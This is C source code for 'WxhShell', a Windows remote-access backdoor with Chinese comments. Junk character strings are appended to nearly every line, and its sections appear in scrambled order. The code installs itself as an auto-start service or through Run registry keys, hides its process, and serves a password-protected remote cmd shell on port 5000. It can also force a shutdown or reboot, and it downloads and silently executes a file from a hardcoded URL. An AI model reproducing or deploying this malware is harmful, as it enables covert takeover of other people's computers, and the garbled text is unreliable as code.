  // 关机 ])pX)(a  
  case 'd': { R&s/s`pLW  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Jur$O,u40l  
    if(Boot(SHUTDOWN)) 0D:uM$ i]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @uC-dXA"  
    else { 3znhpHO)  
    closesocket(wsh); RGV{KL  
    ExitThread(0); N+SA$wG  
    } [9?]|4  
    break; iP7KM*ks  
    } PvUY Q>Kw  
  // 获取shell Bptt"  
  case 's': { Yp m*or  
    CmdShell(wsh); b<fN,U< k  
    closesocket(wsh); Ct /6<  
    ExitThread(0); a w~a /T:  
    break; 'PMzm/;8st  
  } ;$a|4_U$m  
  // 退出 l$BKE{rg  
  case 'x': { dFeGibI{  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); *y"|/_ *  
    CloseIt(wsh); BvlY\^  
    break; 6:r1^q6A9L  
    } /x-tl)(s=  
  // 离开 p38s&\-kEN  
  case 'q': { L%9yFg%u  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); avS9"e  
    closesocket(wsh); gKU*@`6G  
    WSACleanup(); jbOzbxR?  
    exit(1); ~R|fdD/%  
    break; AF{o=@  
        } ,^xsdqpe  
  } P\c0Q;){h"  
  } YVY(uq)d  
!oV'  
  // 提示信息 LY0/\Z"N  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Vfw +m1sS  
} I |D]NY^  
  } a(o[ bH.|;  
# 9f 4{=\  
  return; n O}x,sG2'  
} jM@@N.  
AM gvk`<f  
// shell模块句柄 ;c~DBJg'|  
int CmdShell(SOCKET sock) F7x< V=4{  
{ @7PE&3  
STARTUPINFO si; `0ju=FP'u5  
ZeroMemory(&si,sizeof(si)); 8DrKq]&  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; (aCl*vV1  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; J! eVw\6  
PROCESS_INFORMATION ProcessInfo; Pb D|7IM  
char cmdline[]="cmd"; qj|B #dU  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); E{9{%J  
  return 0; = &aD!nTx  
} .+AO3~Dg  
ldoN!J  
// 自身启动模式 ~w%Z Bp  
int StartFromService(void) =TI|uD6T  
{ eWx6$_|  
typedef struct VA'<  
{ bOmM~pD  
  DWORD ExitStatus; H+2J.&Ch  
  DWORD PebBaseAddress; HNoh B4vt  
  DWORD AffinityMask; 7]9s_13]  
  DWORD BasePriority; -ap;Ul?  
  ULONG UniqueProcessId; e;}5~dSi  
  ULONG InheritedFromUniqueProcessId; f4T-=` SO  
}   PROCESS_BASIC_INFORMATION; ?Ve5}N  
J=]w$e ?.P  
PROCNTQSIP NtQueryInformationProcess; 8CSvg{B  
f{z%PI[  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; {78*S R  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; {K0T%.G  
uJp}9B60_  
  HANDLE             hProcess; g9"_BG  
  PROCESS_BASIC_INFORMATION pbi; 1y8:tri>N  
dl$l5z\  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); _5YL !v&  
  if(NULL == hInst ) return 0; R QO{fC  
<db/. A3  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); t_VHw'~"  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); :* /``  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); C1rCKKh  
d`nS0Tf'  
  if (!NtQueryInformationProcess) return 0; r@<;  
R;V(D3  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 5BCaE)J  
  if(!hProcess) return 0; 'Jl.fN  
s3kEux^  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; gZ!(&u  
x!.VWGtb  
  CloseHandle(hProcess);  FZ2-e  
hJ4.:  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); <,hBoHZSL  
if(hProcess==NULL) return 0; ze\~-0ks +  
IKr7"`  
HMODULE hMod; !<6wrOMaO  
char procName[255]; }EIwkz8  
unsigned long cbNeeded; )L hO}zQ  
=<_5gR  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 1k%ko?  
Yh%wf3 UEO  
  CloseHandle(hProcess); 0j/81Y}p  
xNqQbk F  
if(strstr(procName,"services")) return 1; // 以服务启动 G =4y!y  
B# H  
  return 0; // 注册表启动 IFTW,9hh  
} YXg uw7%\  
M2EN(Y_k0  
// 主模块 ?Ru`ma\;  
int StartWxhshell(LPSTR lpCmdLine) ^{K8uN7  
{ qL+y8*  
  SOCKET wsl; (Mm{"J3uv  
BOOL val=TRUE; A7RX2  
  int port=0; #f~a\}$I  
  struct sockaddr_in door; 9G8QzIac  
EH "g`r  
  if(wscfg.ws_autoins) Install(); M>J ADt_]  
o%QQ7S3 P  
port=atoi(lpCmdLine); HgBg,1  
yl 8v&e{  
if(port<=0) port=wscfg.ws_port; 4F4u1r+  
4vQHr!$Ep  
  WSADATA data; 1DcarF  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; k51s*U6=  
O({_x@  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   jgo@~,5R  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); #rr-4$w+  
  door.sin_family = AF_INET; `pMI[pLZe  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 2* L/c-  
  door.sin_port = htons(port); fBOPd =  
ge oN4  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 6qJB"_.  
closesocket(wsl); 66Xt=US  
return 1; ` j<tI6[e  
} ` ;=Se_  
#"{8Z&Z  
  if(listen(wsl,2) == INVALID_SOCKET) { Lb{D5k*XU  
closesocket(wsl); y&Hh8|'mC  
return 1; OA=;9AcZ  
} ?.4l1X6Ba  
  Wxhshell(wsl); ibc/x v2  
  WSACleanup(); Xh/av[Q  
~=mM/@HD  
return 0; feW9 >f;  
E\S&} K,s  
} bN&da [K  
r?I(me,  
// 以NT服务方式启动 "'#Hh&Us  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) &Kp+8D*  
{ U}0/V c26  
DWORD   status = 0; a&hM:n4P  
  DWORD   specificError = 0xfffffff; JrAc]=  
@#tSx  
  serviceStatus.dwServiceType     = SERVICE_WIN32; T_Y}1n|7[  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 8W>l(w9M  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 5w1[KO#K|  
  serviceStatus.dwWin32ExitCode     = 0; X8x>oV;8  
  serviceStatus.dwServiceSpecificExitCode = 0; 7$=@q|$  
  serviceStatus.dwCheckPoint       = 0; +3>4 ?,^g  
  serviceStatus.dwWaitHint       = 0; ;LE @Ezx  
fdG.=7`  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 6I#DlAU@v  
  if (hServiceStatusHandle==0) return; $IT9@}*{  
(d#Z-w-  
status = GetLastError(); ;alFK*K6  
  if (status!=NO_ERROR) uCfp+  
{ sK?-@  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; j2M(W/_  
    serviceStatus.dwCheckPoint       = 0; U9 *2< c  
    serviceStatus.dwWaitHint       = 0; Oha g%<1#  
    serviceStatus.dwWin32ExitCode     = status; N=wy)+  
    serviceStatus.dwServiceSpecificExitCode = specificError; hob$eWgr  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); n5/Tn7hY  
    return; 3raA^d3!?  
  } iGMONJRO  
gu[dw3L  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; pd3&AsU  
  serviceStatus.dwCheckPoint       = 0;  Vb 9N~v  
  serviceStatus.dwWaitHint       = 0; a4RFn\4?  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); U.'@S8  
} n;`L5  
3]es$Jy  
// 处理NT服务事件,比如:启动、停止 p'k+0=  
VOID WINAPI NTServiceHandler(DWORD fdwControl)  7~nCK  
{ ONiI:Z>%  
switch(fdwControl) .b oizW1+  
{ o~&!M_ED  
case SERVICE_CONTROL_STOP: E57{*C  
  serviceStatus.dwWin32ExitCode = 0; xN8JrZE&  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Jk`)`94 I  
  serviceStatus.dwCheckPoint   = 0; !gHWYWu)!  
  serviceStatus.dwWaitHint     = 0; :[f`HY&  
  { QS*cd|7J;  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); !F#aodM1N  
  } qjzW9yV+  
  return; +|YZEC  
case SERVICE_CONTROL_PAUSE: HbfB[%  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; a BH1J]_  
  break; B!ibE<7,  
case SERVICE_CONTROL_CONTINUE: g+)\ /n|  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; lkg*AAR?'  
  break; Z[S+L"0  
case SERVICE_CONTROL_INTERROGATE: ~!9Px j*  
  break; yGG B  
}; S!W/K!wf  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); X\2hKUkT  
} ko2j|*D6@~  
.r5oN+?e  
// 标准应用程序主函数 .4FcZJvy  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) XuoEAu8]  
{ n(YHk\2  
/8t+d.r;/  
// 获取操作系统版本 l )*,18n  
OsIsNt=GetOsVer(); WAXts]=  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Wd56B+  
1 3 `0d  
  // 从命令行安装 yUmsE-W  
  if(strpbrk(lpCmdLine,"iI")) Install(); ]~S+nl yd<  
tlLn  
  // 下载执行文件 >04>rn#},,  
if(wscfg.ws_downexe) { *3`oU\r  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) DE\bYxJ  
  WinExec(wscfg.ws_filenam,SW_HIDE); bTQa'y`3  
} g+ 1=5g  
/:{_|P\  
if(!OsIsNt) { D>b5Uwt  
// 如果时win9x,隐藏进程并且设置为注册表启动 <-B"|u  
HideProc(); ]Bd3d%  
StartWxhshell(lpCmdLine); |EV\a[  
} w1@b5-  
else s~X*U&}5  
  if(StartFromService()) O& %"F8B  
  // 以服务方式启动 +VLe'|  
  StartServiceCtrlDispatcher(DispatchTable); x36#x  
else "E)++\JL  
  // 普通方式启动 AYA&&b  
  StartWxhshell(lpCmdLine); (S)E|;f%C  
A :bPIXb  
return 0; .n& Cq+U;  
} A9l})_~i  
~/jxB)t  
v;]I^Kq  
 /E{dM2  
=========================================== 4[,B;7  
}#HTO:r  
"G9'm  
) Zb`~w  
f./m7TZ  
omv6_DdZ  
" Wd` QpW  
C nSX  
#include <stdio.h> s'aV qB  
#include <string.h> q bZ,K@0  
#include <windows.h> ?(/j<,m^  
#include <winsock2.h> iQ|,&K0d]  
#include <winsvc.h> fQW_YQsb  
#include <urlmon.h> IFrb}yH  
GtM( Y  
#pragma comment (lib, "Ws2_32.lib") 7}'A)C>J;  
#pragma comment (lib, "urlmon.lib") Bq~hV;9nf  
e@:P2(WW l  
#define MAX_USER   100 // 最大客户端连接数 ?l, X!o6  
#define BUF_SOCK   200 // sock buffer qH h'l;.  
#define KEY_BUFF   255 // 输入 buffer q]N?@l]  
}>;ht5/i/  
#define REBOOT     0   // 重启 ewAH'H]o  
#define SHUTDOWN   1   // 关机 ~S^X"8(U  
`o_fUOe8a  
#define DEF_PORT   5000 // 监听端口 c/=y*2,zo  
XnE %$NJ  
#define REG_LEN     16   // 注册表键长度 9jMC |oE  
#define SVC_LEN     80   // NT服务名长度  H\=LE  
LGo2^Xx  
// 从dll定义API cNuHXaWp  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); k~1j/VHv  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); oT|P1t.  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); p`ADro*  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); S?Bc~y  
lP@)   
// wxhshell配置信息 (~ ]g,*+  
struct WSCFG { xA&  
  int ws_port;         // 监听端口 pG!(6V-x<E  
  char ws_passstr[REG_LEN]; // 口令 nrTv=*tDj  
  int ws_autoins;       // 安装标记, 1=yes 0=no 9P7xoXJ@y  
  char ws_regname[REG_LEN]; // 注册表键名 WjY{rM,K  
  char ws_svcname[REG_LEN]; // 服务名 vr{'FMc  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 5>ADw3z'  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 0Oc}rRH(C  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 3'[Rvy{  
int ws_downexe;       // 下载执行标记, 1=yes 0=no vQK n=  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" *U;4t/(  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 X`fhln9N  
VelB-vy&  
}; jcEs10y  
f`hyYp`d5  
// default Wxhshell configuration Q(IJD4  
struct WSCFG wscfg={DEF_PORT, R%b*EBZ  
    "xuhuanlingzhe", &r'{(O8$N  
    1, I%}L@fZ  
    "Wxhshell", <AI>8j6#B  
    "Wxhshell", v}F4R $  
            "WxhShell Service", &gGs) $f[  
    "Wrsky Windows CmdShell Service", 7_Ba3+9jpa  
    "Please Input Your Password: ", (]3ERPn#y  
  1, 3:[!t%Yb  
  "http://www.wrsky.com/wxhshell.exe", cxXbo a  
  "Wxhshell.exe" W!/vm  
    }; Sc&)~h}YF  
1z~k1usRK  
// 消息定义模块 /7k.r}6\R  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; r]k*7PK  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Kajkw>z  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; y)3~]h\a  
char *msg_ws_ext="\n\rExit."; 4? m/*VV  
char *msg_ws_end="\n\rQuit."; 5-8]N>/b!  
char *msg_ws_boot="\n\rReboot..."; `*e4m  
char *msg_ws_poff="\n\rShutdown...";  6R;)  
char *msg_ws_down="\n\rSave to "; 6P;o 6s  
-6rf( ER  
char *msg_ws_err="\n\rErr!"; xClRO,-  
char *msg_ws_ok="\n\rOK!"; eM?rc55|  
t a&Q4v&-  
char ExeFile[MAX_PATH]; N9i}p^F<_  
int nUser = 0; 5%<TF .;-J  
HANDLE handles[MAX_USER]; 7$(_j<o`  
int OsIsNt; 'FShNY5  
|x &Z~y  
SERVICE_STATUS       serviceStatus; XVQL.A7  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ?^LG hdR  
|EF>Y9   
// 函数声明 b/}'Vf[  
int Install(void); <9ma(PFa  
int Uninstall(void); )K{o<m~WAo  
int DownloadFile(char *sURL, SOCKET wsh); ;#3ekl{-g  
int Boot(int flag); uuu\f*<  
void HideProc(void); IWAj Mwo  
int GetOsVer(void); X_D6eYF  
int Wxhshell(SOCKET wsl); f;.SSiT  
void TalkWithClient(void *cs); zzX<?6MS  
int CmdShell(SOCKET sock); \Y*!f|=of  
int StartFromService(void); 9c#lLKrzG  
int StartWxhshell(LPSTR lpCmdLine); 6#<Ir @z  
! L4dUMo  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 0/ut:RV0  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); fC_zX}3  
#hIEEkCp +  
// 数据结构和表定义 5pO]vBT  
SERVICE_TABLE_ENTRY DispatchTable[] = hzaU8kb  
{ cX2$kIs;  
{wscfg.ws_svcname, NTServiceMain}, GGCqtA^@7d  
{NULL, NULL} Js/N()X  
}; 6hZ.{8e0  
1|W2s\  
// 自我安装 ('=Z }~  
int Install(void) ytEQ`  
{ Iq+2mQi*/k  
  char svExeFile[MAX_PATH]; >f>V5L%1  
  HKEY key; StEQ -k  
  strcpy(svExeFile,ExeFile); !?jK1{E3  
+<&E3Or  
// 如果是win9x系统,修改注册表设为自启动 >yX/+p_  
if(!OsIsNt) { P"b8!k?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { d>Un J)V}  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); R0{Qy*YQ`  
  RegCloseKey(key); V]Sgx00;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ze&#i6S  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); pg+b[7  
  RegCloseKey(key); '?5S"??  
  return 0; Qe_+r(3)k  
    } 2zhn`m  
  } ^[#=L4  
} fTBVvY4(  
else { k!&:(]  
z^'n* h  
// 如果是NT以上系统,安装为系统服务 7m\vRMK  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); YUCC*t  
if (schSCManager!=0) JRq3>P  
{ >zQNHSi  
  SC_HANDLE schService = CreateService Uls+n@\!  
  ( Y.7}  
  schSCManager, MZ WmlJ   
  wscfg.ws_svcname, Y,'%7u  
  wscfg.ws_svcdisp, E$ {J  
  SERVICE_ALL_ACCESS, 6.[)`iF+#  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ?H`j>]%&  
  SERVICE_AUTO_START, =LOk13l\"  
  SERVICE_ERROR_NORMAL, vHS2q >  
  svExeFile, guU=NQZ  
  NULL, +s ULo  
  NULL, #G[t X6gU  
  NULL, *#zS^b n  
  NULL, m~;B:LN<  
  NULL CI^[I\$&  
  ); \0nlPXk?G  
  if (schService!=0) h(nj,X+  
  { >zQOK-  
  CloseServiceHandle(schService); 88+ =F XG  
  CloseServiceHandle(schSCManager); T<P0T<  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ]w!0u2K<Q\  
  strcat(svExeFile,wscfg.ws_svcname); wqP2Gw7jh6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { > VP5vkv=  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); b:1 L@8s;  
  RegCloseKey(key); /[%w*v*'  
  return 0; UU[H@ym#  
    } ?pqU3-knH  
  } cAb>2]M5V  
  CloseServiceHandle(schSCManager); w//omF'`  
} yPoSJzC=[  
} a fx'  
4@h;5   
return 1; Kk=LXmL2  
} %&h c"7/k  
J#''q"rZ  
// 自我卸载 n}JPYu  
int Uninstall(void) _lX8K:C(  
{ ALXTR%f  
  HKEY key; TdFT];:  
b1xpz1  
if(!OsIsNt) { &))\2pl  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0elxA8Z~e  
  RegDeleteValue(key,wscfg.ws_regname); wx*1*KZ  
  RegCloseKey(key); BZ+;n |<r  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6WeM rWx  
  RegDeleteValue(key,wscfg.ws_regname); !p',Za   
  RegCloseKey(key); 7 \X$7  
  return 0; {~_ Y _-  
  } RkA8  
} WI&lj<*  
} gw+eM,Yp  
else { gfN2/TDC]P  
!zR)D|w&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); w#9_eq|3  
if (schSCManager!=0) n'M>xq_  
{ w"~<h;  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); s6n`?,vw  
  if (schService!=0) @^&7$#jq%  
  { mlB~V3M'G  
  if(DeleteService(schService)!=0) { moZm0` WR  
  CloseServiceHandle(schService); D"^'.DL@wG  
  CloseServiceHandle(schSCManager); e)b%`ntF  
  return 0; y3JMbl[S0  
  } Ac`;st%l.  
  CloseServiceHandle(schService); {$33B'wk  
  } ^_W40/c3  
  CloseServiceHandle(schSCManager); 2khh4?|\  
} e;h,V(  
} 4-^[%&>}  
0[Eb .2I  
return 1; ykmv'a$-4  
} v@n_F  
|##GIIv;i  
// 从指定url下载文件 t,HFz6   
int DownloadFile(char *sURL, SOCKET wsh) ! %Ny0JkO  
{ ?aWx(dVQ  
  HRESULT hr; gCJIIzl%Bh  
char seps[]= "/"; hqDqt"dKz  
char *token; 9:8|)a(1  
char *file; EI1? GB)b  
char myURL[MAX_PATH]; [E|uY]DR  
char myFILE[MAX_PATH]; fd1C {^c  
y}"7e)|t%  
strcpy(myURL,sURL); 0BK5qz  
  token=strtok(myURL,seps); ?\y%]1  
  while(token!=NULL) |<c WllN  
  { "HK/u(z)  
    file=token; J'Sm0  
  token=strtok(NULL,seps); D(\$i.,b2  
  } Bm/YgQi  
r,;\/^u*  
GetCurrentDirectory(MAX_PATH,myFILE); ^B]@Lr E^  
strcat(myFILE, "\\"); i=rH7k  
strcat(myFILE, file); .<YcSG  
  send(wsh,myFILE,strlen(myFILE),0); 8@eOTzm  
send(wsh,"...",3,0); v"!4JZ%K  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); *eb-rhCVn  
  if(hr==S_OK) ;gB`YNL  
return 0; yWb4Ify  
else rQr!R$t/[  
return 1; ,Eu?JH&}u  
U(,.D}PG  
} 3CZS)  
6gU{(H   
// 系统电源模块 "#4dW7E  
int Boot(int flag) sn{tra  
{ Mu&x_&|  
  HANDLE hToken; fk{0d  
  TOKEN_PRIVILEGES tkp; ZA820A>2!  
|5MbAqjzC  
  if(OsIsNt) { `^6 ,kI-c  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); @dEiVF`4:  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 75NRCXh.  
    tkp.PrivilegeCount = 1; AK@L32-S  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ."6[:MF  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); lr3mE  
if(flag==REBOOT) { E=w3=\JP  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) nc?B6IV  
  return 0; lm0N5(XP  
} c$h9/H=~  
else { h"W8N+e\  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 5zB~4u  
  return 0; g0&\l}&%U  
} [*4fwk^  
  } =.Tv)/ea  
  else { lFq{O;q7}  
if(flag==REBOOT) { +!yX T C  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) `JURQ:l)3^  
  return 0; Nneo{j  
} ;rHO&(h-  
else { (f#b7O-Wn  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) =RsXI&&vh  
  return 0; g0R[xOS|  
} `u_Qa  
} i.y)mcB4  
l=={pb  
return 1; 3z8C  
} `I;F$`\  
JAjku6  
// win9x进程隐藏模块 \ |!\V  
void HideProc(void) K$[$4 dX]  
{ 'Jj=RAV`  
Q[u6|jRt  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); >n*\bXf  
  if ( hKernel != NULL ) F- rQ3  
  { Ng=ONh  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); @cD uhK"U}  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); *?% k#S  
    FreeLibrary(hKernel); egR-w[{  
  } QlZ@ To  
^ c%N/V \  
return; T.:+3:8|F  
} LKF/u` 0dP  
^J/)6/TMXm  
// 获取操作系统版本 zI;0&  
int GetOsVer(void) WF2-$`x  
{ ~r*P]*51x  
  OSVERSIONINFO winfo; dcfe_EuT  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); nsuX*C7  
  GetVersionEx(&winfo); xge7r3i  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) #JW+~FU`  
  return 1; 9pSUIl9|j  
  else Ud(`V:d  
  return 0; svhI3"r  
} kxB.,'  
Y%aWK~O  
// 客户端句柄模块 rZ03x\2  
int Wxhshell(SOCKET wsl) -ysn&d\rV  
{ [2c{k  
  SOCKET wsh; ROb\Rx m  
  struct sockaddr_in client; 19U]2D/z  
  DWORD myID; !{%:qQiA  
$jzFc!rs  
  while(nUser<MAX_USER) Xrqx\X  
{ A[N{  
  int nSize=sizeof(client); 0 p uY"[c  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); HIvZQQW|  
  if(wsh==INVALID_SOCKET) return 1; P 7D!6q  
F7}-!  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); _e<o7Y@_  
if(handles[nUser]==0) T6BFX0$  
  closesocket(wsh); A#y@`} ]!'  
else n6Z|Q@F  
  nUser++; Y3U9:VB  
  } +cu^%CXT  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); k!L@GQ  
\?fIt?  
  return 0; } p:%[  
} %&<LNEiUN  
5<YzalNf  
// 关闭 socket V9%aBkf8w  
void CloseIt(SOCKET wsh) ?&+9WJ<M  
{ :!TI K1  
closesocket(wsh); FY3IUG  
nUser--; 5"KlRuv%  
ExitThread(0); 2umv|]n+l|  
} #1nJ(-D+  
6p;m\  
// 客户端请求句柄 o*S"KX $  
void TalkWithClient(void *cs) X[$++p .  
{ >bo'Y9C  
_GYMPq\%L#  
  SOCKET wsh=(SOCKET)cs; 2-+f1,  
  char pwd[SVC_LEN]; Vm1-C<V9  
  char cmd[KEY_BUFF]; A<MtKb  
char chr[1]; `)$_YZq|SR  
int i,j; VR? ^HA9  
e]8,:Gd(  
  while (nUser < MAX_USER) { Am4lEvb  
6sfwlT  
if(wscfg.ws_passstr) { oYM3Rgxf9Q  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); hVpCB,  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); va)%et0!  
  //ZeroMemory(pwd,KEY_BUFF); n~IVNB*  
      i=0; 1 OaXo!  
  while(i<SVC_LEN) { W8WXY_yJt  
@* ust>7  
  // 设置超时 e /K#>,  
  fd_set FdRead; GIwh@4;  
  struct timeval TimeOut; ?\=/$Gt  
  FD_ZERO(&FdRead); `C E^2  
  FD_SET(wsh,&FdRead); BRRj$)u  
  TimeOut.tv_sec=8; |UnUG  
  TimeOut.tv_usec=0; | bv,2uWz  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); bCv{1]RC2  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); E2wz(,@  
"y?\Dx   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ._Zt=jB  
  pwd=chr[0]; mu]as: ~  
  if(chr[0]==0xd || chr[0]==0xa) { (=x"Y{%  
  pwd=0; D@ek9ARAq  
  break; E>jh"|f:{  
  } a}yXC<}$  
  i++; g=@_Z"  
    } >pL2*O^{9  
q>!L6h5]t  
  // 如果是非法用户,关闭 socket .d<W`%[  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); S56]?M|[  
} ~`MS~,,  
k"UO c=   
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); l:B;zi`)oB  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1`0#HSO  
#s-iy+/1oN  
while(1) { Y-!YhWsS  
:a[Ihqfg  
  ZeroMemory(cmd,KEY_BUFF); tA.`k;LT  
L71!J0@a#  
      // 自动支持客户端 telnet标准   nSx8E7 |V  
  j=0;  (t^n'V  
  while(j<KEY_BUFF) { ~:4kU/]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -NGK@Yk22  
  cmd[j]=chr[0]; uYI@ 9U  
  if(chr[0]==0xa || chr[0]==0xd) { y^>Q/H\  
  cmd[j]=0; ,~PYt*X4  
  break; 4<,|*hAT  
  } ;F:fM!l=  
  j++; vsB*rP=  
    } ;i uQ?MR3  
. RVVWqW  
  // 下载文件 n 1b(\PA  
  if(strstr(cmd,"http://")) { Z3KO90O!8  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); XUMX*  
  if(DownloadFile(cmd,wsh)) w&h 2y4  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); &7mW9]  
  else .1 )RW5|c  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I5ss0JSl/  
  } , $*IzL~  
  else { $"JpFT  
NR%Y+8^M  
